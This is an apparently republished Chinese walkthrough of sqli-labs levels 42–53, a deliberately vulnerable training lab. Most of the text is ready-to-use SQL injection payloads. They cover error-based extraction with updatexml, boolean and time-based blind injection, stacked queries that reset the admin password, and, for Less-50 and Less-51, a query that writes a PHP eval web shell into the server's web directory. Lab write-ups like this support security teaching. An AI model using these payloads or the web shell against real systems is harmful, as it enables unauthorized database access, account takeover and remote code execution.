当前位置: 首页 > news >正文

以sqlilabs靶场为例,讲解SQL注入攻击原理【42-53关】

【Less-42】

使用 'or 1=1 -- aaa 密码,登陆成功。

找到注入点:密码输入框。

解题步骤:

# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

获取到数据库、数据表、字段之后,可以根据SQL注入,尝试修改管理员密码。

';update security.users set password='1111' where username='admin' -- aaa

【Less-43】

与Less-42不同的点在于使用的闭合不同,')or 1=1-- aaa 密码,登陆成功。

解题过程和Less-42相似,具体如下:

解题步骤:

# 获取数据库名
') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa# 获取字段名
') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-44】

基本与Less-42解题过程一样,只是Less-44没有信息提示,使用SQL盲注根据是否成功登录判断信息。

# 获取数据库长度
'or length(database())=8 -- a# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-45】

基本与Less-44解题过程基本一样,只是闭合使用的 ') ,SQL盲注根据是否成功登录判断信息。

# 获取数据库长度
'or length(database())=8 -- a# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-46】

通过更换sort后面的数字,得到了不同顺序的结果,大致可以猜出用的order by 字段,此时可以and updatexml()方法实现SQL注入。

解题步骤:

# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) # 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) 

结果:

【Less-47】

基本和Less-46类似,只是多了一个单引号闭合,其他解题步骤基本一致。

# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)  -- aaa# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)  -- aaa

【Less-48】

此题由于没有信息显示,使用时间盲注判断数据库长度,字符、数据表名、字段名。

解题步骤:

# 猜数据库名的长度
?sort=1 and if(length(database())>1,sleep(5),1)# 猜数据库名
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)#  猜数据表名
?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)#  猜数据字段名
?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1)

结果为:

【Less-49】

与Less-48 类似,只是闭合类型不同,采用的是 单引号闭合,其他的和上一题一样。

 解题步骤:

# 猜数据库名的长度
?sort=1' and if(length(database())>1,sleep(5),1) -- aaa# 猜数据库名
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa#  猜数据表名
?sort=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- aaa#  猜数据字段名
?sort=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- aaa

【Less-50】

和Less-46一样,没有闭合,直接在后面注入,解题过程一模一样。

源码分析:

解题步骤:

# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) # 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) 

结果:

PS:此题源码中出现的mysqli_multi_query(执行一个或多个针对数据库的查询。多个查询用分号进行分隔。),容易出现堆叠注入。

尝试使用堆叠写码,一句话木马。 

# 后面的跟的是文件保存目录?sort=1;select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php'

结果:

【Less-51】

与Less-50类似,只是闭合不同,使用的是单引号。 

解决方案:

# 获取数据库名
?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from  -- aaa
information_schema.tables where table_schema=database() ),0x7e),1) # 获取字段名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

同样的,也可以实现SQL注入phpinfo();

# 后面的跟的是文件保存目录?sort=1';select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php' -- aa

【Less-52】

尝试使用各种常见的闭合,总是不能正常显示,但是又没有错误提示,此时使用时间盲注解决。

and if(条件,满足结果,不满足结果)

# 猜数据库长度
and if(length(database())=8,sleep(5),1)# 猜数据库的组成字母
and if(ascii(substr(database(),1,1))=115,sleep(5),1)# 猜数据表的组成字母
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)# 猜数据表的字段组成字母
and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)

【Less-53】

与Less-52不同的点在于闭合的方式不同,使用的是单引号闭合。

解题步骤:

# 猜数据库长度
?sort=1' and if(length(database())=8,sleep(5),1) -- aaa# 猜数据库的组成字母
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa# 猜数据表的组成字母
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) -- aaa# 猜数据表的字段组成字母
?sort=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)-- aaa

http://www.lryc.cn/news/368089.html

相关文章:

  • 单片机数码管时钟电路的设计
  • win10文件夹.git或者文件被隐藏的开启姿势
  • Paper速读-[Visual Prompt Multi-Modal Tracking]-Dlut.edu-CVPR2023
  • memory动态内存管理学习之unique_ptr
  • 1、项目介绍:为什么要做此项目。
  • 2024年6月7日第十五周下午学习英语六级大纲
  • 每日5题Day19 - LeetCode 91 - 95
  • wordpress里面嵌入哔哩哔哩视频的方法
  • Linux系统管理磁盘管理004
  • Flink窗口理论到实践
  • 279 基于matlab的粒子群集法对铁路电能质量控制系统的容量避行优化设计
  • 46-3 护网溯源 - 溯源报告编写
  • 微服务之基本介绍
  • 嘉立创面板制作不规则图案技巧
  • 如何使用Python中的collections模块提供的数据结构,如deque、Counter、OrderedDict等
  • 2024年道路安全员考试题库
  • 自建 Docker 镜像
  • php实现抖音小程序支付
  • 代码审计(1):CVE-2022-4957分析及复现
  • 问题:设备管理指标为完好率不低于( ),待修率不高于5%,事故率不高于1%。 #知识分享#经验分享#经验分享
  • 【Linux】(六)—— vim编辑器
  • 06016传感器原理与应用202207
  • java web:springboot mysql开发的一套家政预约上门服务系统源码:家政上门服务系统的运行流程
  • 二叉树的后序遍历-力扣
  • C++基础编程100题-008 OpenJudge-1.3-06 甲流疫情死亡率
  • 计算机网络 ——网络层(IPv4地址)
  • 重写mybatisPlus自定义ID生成策略
  • 华为坤灵路由器配置SSH
  • 盘点一个Python网络爬虫的实战问题
  • 100道面试必会算法-32-二叉树右视图用栈实现队列